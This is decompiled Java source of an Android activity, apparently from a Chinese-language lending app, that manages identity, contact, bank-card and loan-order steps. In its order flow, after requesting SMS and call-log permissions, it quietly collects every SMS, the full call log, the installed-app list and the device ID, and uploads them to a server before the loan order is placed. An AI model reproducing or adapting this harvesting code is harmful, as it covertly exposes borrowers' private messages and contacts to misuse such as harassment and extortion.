                            case 50:
                                if (obj.equals("2")) {
                                    c = 1;
                                    break;
                                }
                                break;
                            case 51:
                                if (obj.equals("3")) {
                                    c = 2;
                                    break;
                                }
                                break;
                            case 52:
                                if (obj.equals("4")) {
                                    c = 3;
                                    break;
                                }
                                break;
                            case 53:
                                if (obj.equals("5")) {
                                    c = 4;
                                    break;
                                }
                                break;
                        }
                        if (c == 0) {
                            W0ACT.this.applyBJOrdero("1");
                            return;
                        }
                        if (c == 1) {
                            W0ACT.this.applyBJOrdero("2");
                            return;
                        } else if (c == 3) {
                            W0ACT.this.applyBJOrdero("4");
                            return;
                        } else {
                            if (c != 4) {
                                return;
                            }
                            W0ACT.this.applyBJOrdero("5");
                            return;
                        }
                    }
                    W0ACT.this.showShortToast(baseResult.getMessage());
                }
            }

            @Override
            protected void _onError(String str) {
                W0ACT.this.showShortToast(str);
            }
        }));
    }

    private void applySdkOrder(String str) {
        this.mRxManager.add(Api.getDefault().operatorSdk(new OperatorSdkForm(str, (String) SPUtils.getData(AppConfig.address, "中国"), (String) SPUtils.getData(AppConfig.latitude, ""), ApplicationUtil.getAPPVersion(this.mContext), (String) SPUtils.getData(AppConfig.longitude, ""), Constant.SDK_OS)).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
            @Override
            public void _onNext(BaseResult baseResult) {
                W0ACT.this.showShortToast(baseResult.getMessage());
                W0ACT.this.loadData(true);
            }

            @Override
            protected void _onError(String str2) {
                W0ACT.this.showShortToast(str2);
            }
        }));
    }

    public void applyBJOrdero(final String str) {
        permissionRequest(getString(R.string.permission_tip), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE"}, 100, new IPermissionResultListener() {
            @Override
            public void onPermissionFaild() {
            }

            @Override
            public void onPermissionSuccess() {
                SPUtils.putData(AppConfig.latitude, "中国");
                SPUtils.putData(AppConfig.longitude, "中国");
                if (TextUtils.isEmpty("中国")) {
                    SPUtils.putData(AppConfig.address, "中国");
                } else {
                    SPUtils.putData(AppConfig.address, "中国");
                }
                String aPPVersion = ApplicationUtil.getAPPVersion(W0ACT.this.mContext);
                if ("1".equals(str) || "5".equals(str)) {
                    W0ACT.this.operatorBj((String) SPUtils.getData(AppConfig.address, "中国"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), aPPVersion, (String) SPUtils.getData(AppConfig.longitude, "0.0"), Constant.SDK_OS);
                } else if ("2".equals(str)) {
                    W0ACT.this.operatorMh((String) SPUtils.getData(AppConfig.address, "中国"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), aPPVersion, (String) SPUtils.getData(AppConfig.longitude, "0.0"), Constant.SDK_OS);
                } else {
                    W0ACT.this.applyCaoPanShouOrdero((String) SPUtils.getData(AppConfig.address, "中国"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), aPPVersion, (String) SPUtils.getData(AppConfig.longitude, "0.0"), Constant.SDK_OS);
                }
            }
        });
    }

    public void applyCaoPanShouOrdero(String str, String str2, String str3, String str4, String str5) {
        this.mRxManager.add(Api.getDefault().operatorCps(new OperatorBjForm(str, str2, str3, str4, str5)).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
            @Override
            public void _onNext(BaseResult baseResult) {
                if (baseResult.getResult() != null) {
                    String obj = baseResult.getResult().toString();
                    Bundle bundle = new Bundle();
                    bundle.putString("title", W0ACT.this.getResources().getString(R.string.operatore));
                    bundle.putString("url", obj);
                    W0ACT.this.startActivity(MT10ACT.class, bundle);
                }
            }

            @Override
            protected void _onError(String str6) {
                W0ACT.this.showShortToast(str6);
            }
        }));
    }

    public void operatorBj(String str, String str2, String str3, String str4, String str5) {
        this.mRxManager.add(Api.getDefault().operatorBj(new OperatorBjForm(str, str2, str3, str4, str5)).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
            @Override
            public void _onNext(BaseResult baseResult) {
                if (baseResult.getResult() != null) {
                    String obj = baseResult.getResult().toString();
                    Bundle bundle = new Bundle();
                    bundle.putString("title", W0ACT.this.getResources().getString(R.string.operatore));
                    bundle.putString("url", obj);
                    W0ACT.this.startActivity(MT10ACT.class, bundle);
                }
            }

            @Override
            protected void _onError(String str6) {
                W0ACT.this.showShortToast(str6);
            }
        }));
    }

    public void operatorMh(String str, String str2, String str3, String str4, String str5) {
        this.mRxManager.add(Api.getDefault().operatorMh(new OperatorBjForm(str, str2, str3, str4, str5)).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
            @Override
            public void _onNext(BaseResult baseResult) {
                if (baseResult.getResult() != null) {
                    String obj = baseResult.getResult().toString();
                    Bundle bundle = new Bundle();
                    bundle.putString("title", W0ACT.this.getResources().getString(R.string.operatore));
                    bundle.putString("url", obj);
                    W0ACT.this.startActivity(MT10ACT.class, bundle);
                }
            }

            @Override
            protected void _onError(String str6) {
                W0ACT.this.showShortToast(str6);
            }
        }));
    }

    private boolean isCanEd(TextView textView) {
        return textView.getText().toString().equals(getResources().getString(R.string.modify)) && this.baseInfoForm != null;
    }

    private void goOpen() {
        if (this.authContactsStatus != 1) {
            showShortToast(getResources().getString(R.string.contact_not_empty));
            return;
        }
        if (this.authBankCardStatus != 1) {
            showShortToast(getResources().getString(R.string.bank_not_null));
            return;
        }
        if (this.authBaseInfoStatus != 1) {
            showShortToast(getResources().getString(R.string.base_info_not_empty));
            return;
        }
        if (this.accountStatus != 2) {
            applyAccount();
            return;
        }
        if (this.btnOk.getText().toString().equals(getResources().getString(R.string.apply_open))) {
            final SureAndCancelDialog sureAndCancelDialog = new SureAndCancelDialog(this.mContext, R.layout.dialog_tip);
            ((TextView) sureAndCancelDialog.getView(R.id.content)).setText(getResources().getString(R.string.sure_apply));
            sureAndCancelDialog.setOnClickCancel(new SureAndCancelDialog.onClickCancel() {
                @Override
                public void onClickCancel() {
                    sureAndCancelDialog.dismiss();
                }
            });
            sureAndCancelDialog.setOnClickSure(new SureAndCancelDialog.onClickSure() {
                @Override
                public void onClickSure() {
                    W0ACT.this.applyAccount();
                    sureAndCancelDialog.dismiss();
                }
            });
            sureAndCancelDialog.show();
            return;
        }
        Integer num = this.borrowFlag;
        if (num != null && num.intValue() == 1) {
            ((BMAG01ACT) AppActivityManager.getAppManager().getActivity(BMAG01ACT.class)).onCheckPosition(1);
            AppActivityManager.getAppManager().returnToActivity(BMAG01ACT.class);
        } else {
            checkUserStatus();
        }
    }

    private void checkUserStatus() {
        if (AppUtils.INSTANCE.getIsLogin()) {
            this.mRxManager.add(Api.getDefault().checkUserStatus().compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<UserStatusBean>(this.mContext, true) {
                @Override
                public void _onNext(UserStatusBean userStatusBean) {
                    int code = userStatusBean.getCode();
                    String message = userStatusBean.getMessage();
                    Bundle bundle = new Bundle();
                    if (code == 200) {
                        if (W0ACT.this.enfLoanFlag.intValue() == 1) {
                            W0ACT.this.apply();
                            return;
                        } else {
                            W0ACT.this.startActivity(MT0Act.class);
                            return;
                        }
                    }
                    if (code == 2021) {
                        ((BMAG01ACT) AppActivityManager.getAppManager().getActivity(BMAG01ACT.class)).onCheckPosition(1);
                        AppActivityManager.getAppManager().returnToActivity(BMAG01ACT.class);
                        W0ACT.this.finish();
                        return;
                    }
                    if (code == 3002) {
                        final SureAndCancelDialog sureAndCancelDialog = new SureAndCancelDialog(W0ACT.this.mContext, R.layout.dialog_black_tip);
                        sureAndCancelDialog.setOnClickSure(new SureAndCancelDialog.onClickSure() {
                            @Override
                            public void onClickSure() {
                                sureAndCancelDialog.dismiss();
                            }
                        });
                        sureAndCancelDialog.show();
                        return;
                    }
                    if (code != 2000 && code != 2001) {
                        switch (code) {
                            case 2042:
                            case 2043:
                            case 2044:
                                break;
                            default:
                                W0ACT.this.showShortToast(message);
                                break;
                        }
                        return;
                    }
                    bundle.putString(AppConfig.ORDERID, userStatusBean.getResult());
                    bundle.putInt(AppConfig.EnfLoanFlag, W0ACT.this.enfLoanFlag.intValue());
                    bundle.putInt(AppConfig.REEnfLoanFlag, W0ACT.this.repEnfLoanFlag.intValue());
                    W0ACT.this.startActivity(N0ACT.class, bundle);
                }

                @Override
                protected void _onError(String str) {
                    W0ACT.this.showShortToast(str);
                }
            }));
        }
    }

    private void checkStatus() {
        if (AppUtils.INSTANCE.getIsLogin()) {
            this.mRxManager.add(Api.getDefault().checkUserStatus().compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<UserStatusBean>(this.mContext, true) {
                @Override
                protected void _onError(String str) {
                }

                @Override
                public void _onNext(UserStatusBean userStatusBean) {
                    int code = userStatusBean.getCode();
                    if (code == 200 || code == 2021 || code == 3002 || code == 2000 || code == 2001) {
                        return;
                    }
                    switch (code) {
                        case 2042:
                        case 2043:
                        case 2044:
                            break;
                        default:
                            W0ACT.this.showShortToast(userStatusBean.getMessage());
                            break;
                    }
                }
            }));
        }
    }

    private boolean isaBooleanSdk(TextView textView) {
        return textView.getText().toString().equals(getResources().getString(R.string.to_authorize)) || textView.getText().toString().contains(getResources().getString(R.string.auth_failed));
    }

    private void setLxr(List<ContactForm.ListBean> list) {
        for (int i = 0; i < list.size(); i++) {
            ContactForm.ListBean listBean = list.get(i);
            String name = listBean.getName();
            String tel = listBean.getTel();
            String relation = listBean.getRelation();
            char c = 65535;
            int hashCode = relation.hashCode();
            if (hashCode != 687103) {
                if (hashCode != 747972) {
                    if (hashCode == 839200 && relation.equals("朋友")) {
                        c = 2;
                    }
                } else if (relation.equals("家人")) {
                    c = 1;
                }
            } else if (relation.equals("同事")) {
                c = 0;
            }
            if (c == 0) {
                this.tsName.setText(name);
                this.tsNum.setText(tel);
            } else if (c == 1) {
                this.homeName.setText(name);
                this.homeNum.setText(tel);
            } else if (c == 2) {
                this.friendName.setText(name);
                this.friendNum.setText(tel);
            }
        }
        this.lxrRight.setBackground(null);
        this.lxrRight.setText(getResources().getString(R.string.modify));
    }

    private void setIdCard() {
        try {
            String substring = this.idNum.substring(0, 3);
            String substring2 = this.idNum.substring(this.idNum.length() - 4);
            this.idNo.setText(substring + "********" + substring2);
            this.name.setText(this.realName.replaceAll(this.realName.substring(1), "*"));
            this.imId.setImageResource(R.mipmap.had_id);
            this.idRight.setVisibility(8);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private void setBaseInfo(String str, String str2, String str3, String str4, String str5, String str6, String str7, String str8, String str9, String str10) {
        this.address.setText(str);
        this.workAddress.setText(str2);
        this.chooseAddress.setText(str8 + "-" + str9 + "-" + str10);
        this.chooseWorkAddress.setText(str5 + "-" + str6 + "-" + str7);
        this.work.setText(str3);
        this.phone.setText(str4);
        this.baseRight.setBackground(null);
        this.baseRight.setText(getResources().getString(R.string.modify));
    }

    @Override
    protected void onResume() {
        super.onResume();
        loadData(false);
    }

    public void order() {
        permissionRequest(getString(R.string.permission_tip), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new AnonymousClass23());
    }

    class AnonymousClass23 implements IPermissionResultListener {
        @Override
        public void onPermissionFaild() {
        }

        AnonymousClass23() {
        }

        @Override
        public void onPermissionSuccess() {
            SPUtils.putData(AppConfig.latitude, "中国");
            SPUtils.putData(AppConfig.longitude, "中国");
            SPUtils.putData(AppConfig.address, "中国");
            W0ACT.this.startProgressDialog();
            W0ACT.this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
                @Override
                public final void call(Object obj) {
                    W0ACT.AnonymousClass23.this.lambda$onPermissionSuccess$0$W0ACT$23((Subscriber) obj);
                }
            }).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
                @Override
                public void onCompleted() {
                    W0ACT.this.stopProgressDialog();
                }

                @Override
                public void onError(Throwable th) {
                    W0ACT.this.stopProgressDialog();
                }

                @Override
                public void onNext(DevSmsBean devSmsBean) {
                    W0ACT.this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(W0ACT.this.mContext, true, false) {
                        @Override
                        public void _onNext(BaseResult baseResult) {
                            if (baseResult.getCode() == 200) {
                                W0ACT.this.borrowOrder();
                            } else {
                                W0ACT.this.showShortToast(baseResult.getMessage());
                            }
                        }

                        @Override
                        protected void _onError(String str) {
                            W0ACT.this.showShortToast(str);
                        }
                    }));
                }
            }));
        }

        public void lambda$onPermissionSuccess$0$W0ACT$23(Subscriber subscriber) {
            DevSmsBean devSmsBean = new DevSmsBean();
            List<DevSmsBean.SmsListBean> smsInPhone = ContactsGetUtil.getSmsInPhone(W0ACT.this.mContext);
            devSmsBean.setSmsList(smsInPhone);
            List<DevSmsBean.AppListBean> scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(W0ACT.this.mContext.getPackageManager());
            devSmsBean.setSmsList(smsInPhone);
            devSmsBean.setAppList(scanLocalInstallAppList);
            devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(W0ACT.this.mContext));
            String deviceID = ApplicationUtil.getDeviceID(W0ACT.this.mContext);
            String phoneModel = ApplicationUtil.phoneModel();
            devSmsBean.setCode(deviceID);
            devSmsBean.setSys(Constant.SDK_OS);
            devSmsBean.setModel(phoneModel);
            devSmsBean.setAddress((String) SPUtils.getData(AppConfig.address, "中国"));
            subscriber.onNext(devSmsBean);
            subscriber.onCompleted();
        }
    }

    protected void borrowOrder() {
        int parseInt = Integer.parseInt(this.loanPeriod);
        String aPPVersion = ApplicationUtil.getAPPVersion(this.mContext);
        String json = new Gson().toJson(new BorrowOrderForm(this.repEnfLoanFlag + "", this.enfLoanFlag + "", this.bankName_apply, Integer.valueOf(parseInt), this.amount_apply, this.bankNum_apply, (String) SPUtils.getData(AppConfig.address, "中国"), (String) SPUtils.getData(AppConfig.longitude, "0.0"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), aPPVersion, Constant.SDK_OS));
        long currentTimeMillis = System.currentTimeMillis();
        String uuid = UUID.randomUUID().toString();
        String str = json + "@" + uuid + "@" + currentTimeMillis;
        String encrypt = RSAUtils.getInstance().encrypt(str + "@" + MD5Utils.md5(str, AppConfig.md5key));
        StringBuilder sb = new StringBuilder();
        sb.append(currentTimeMillis);
        sb.append("");
        this.mRxManager.add(Api.getDefault().borrowOrderEnc(new EncForm(encrypt, uuid, sb.toString())).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<RegBean>(this.mContext, true) {
            @Override
            public void _onNext(RegBean regBean) {
                if (regBean != null) {
                    String record = regBean.getRecord();
                    Bundle bundle = new Bundle();
                    bundle.putString(AppConfig.ORDERID, record);
                    bundle.putInt(AppConfig.EnfLoanFlag, W0ACT.this.enfLoanFlag.intValue());
                    bundle.putInt(AppConfig.REEnfLoanFlag, W0ACT.this.repEnfLoanFlag.intValue());
                    W0ACT.this.startActivity(N0ACT.class, bundle);
                    return;
                }
                W0ACT w0act = W0ACT.this;
                w0act.showShortToast(w0act.getResources().getString(R.string.server_error));
            }

            @Override
            protected void _onError(String str2) {
                if (str2 != null && str2.contains(W0ACT.this.getResources().getString(R.string.apply_now))) {
                    W0ACT.this.showLongToast(str2);
                    return;
                }
                Bundle bundle = new Bundle();
                bundle.putString(NotificationCompat.CATEGORY_MESSAGE, str2);
                bundle.putInt(AppConfig.EnfLoanFlag, 1);
                bundle.putInt(AppConfig.REEnfLoanFlag, W0ACT.this.repEnfLoanFlag.intValue());
                W0ACT.this.startActivity(N0ACT.class, bundle);
            }
        }));
    }

    protected void apply() {
        this.mRxManager.add(Api.getDefault().apply(30).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<ApplyBean>(this.mContext, true) {
            @Override
            public void _onNext(ApplyBean applyBean) {
                if (applyBean != null) {
                    List<BigDecimal> amountList = applyBean.getAmountList();
                    if (amountList != null && amountList.size() > 0) {
                        W0ACT.this.amount_apply = amountList.get(0) + "";
                    }
                    W0ACT.this.bankName_apply = applyBean.getBankName();
                    W0ACT.this.bankNum_apply = applyBean.getBankNum();
                    W0ACT.this.loanPeriod = applyBean.getLoanPeriod();
                    W0ACT.this.order();
                }
            }

            @Override
            protected void _onError(String str) {
                W0ACT.this.showShortToast(str);
            }
        }));
    }

    public void showToast(final String str) {
        new Handler(Looper.getMainLooper()).post(new Runnable() {
            @Override
            public void run() {
                Toast.makeText(W0ACT.this, str, 0).show();
            }
        });
    }

    @Override
    protected void onActivityResult(int i, int i2, Intent intent) {
        super.onActivityResult(i, i2, intent);
        if (i2 == -1 && i == 800) {
            String stringExtra = intent.getStringExtra("crawlerId");
            Log.e("TAG", intent.getStringExtra("crawlerId"));
            applySdkOrder(stringExtra);
        }
        if (i == 1003 && i2 == 1003) {
            this.idNum = intent.getStringExtra("idCard");
            this.realName = intent.getStringExtra("realName");
            this.authRealNameStatus = 1;
            setIdCard();
        }
        if (i == 1002 && i2 == 1002) {
            ContactForm contactForm = (ContactForm) intent.getSerializableExtra("contact");
            this.o = contactForm;
            List<ContactForm.ListBean> list = contactForm.getList();
            this.authContactsStatus = 1;
            setLxr(list);
        }
        if (i == 1000 && i2 == 1000) {
            BindBankForm bindBankForm = (BindBankForm) intent.getSerializableExtra("bindBankForm");
            String stringExtra2 = intent.getStringExtra("imgUrl");
            String bankCard = bindBankForm.getBankCard();
            String bankName = bindBankForm.getBankName();
            this.authBankCardStatus = 1;
            setBankInfo(stringExtra2, bankCard, bankName);
        }
        if (i == 1001 && i2 == 1001) {
            BaseInfoForm baseInfoForm = (BaseInfoForm) intent.getSerializableExtra("baseInfo");
            this.baseInfoForm = baseInfoForm;
            String address = baseInfoForm.getAddress();
            String cityId = this.baseInfoForm.getCityId();
            String companyAddress = this.baseInfoForm.getCompanyAddress();
            String companyCityId = this.baseInfoForm.getCompanyCityId();
            String companyDistrictId = this.baseInfoForm.getCompanyDistrictId();
            String companyName = this.baseInfoForm.getCompanyName();
            String companyProvinceId = this.baseInfoForm.getCompanyProvinceId();
            String companyTel = this.baseInfoForm.getCompanyTel();
            String districtId = this.baseInfoForm.getDistrictId();
            String provinceId = this.baseInfoForm.getProvinceId();
            this.authBaseInfoStatus = 1;
            setBaseInfo(address, companyAddress, companyName, companyTel, companyProvinceId, companyCityId, companyDistrictId, provinceId, cityId, districtId);
        }
        Log.i(TAG, "onActivityResultresultCode   " + i2);
    }
}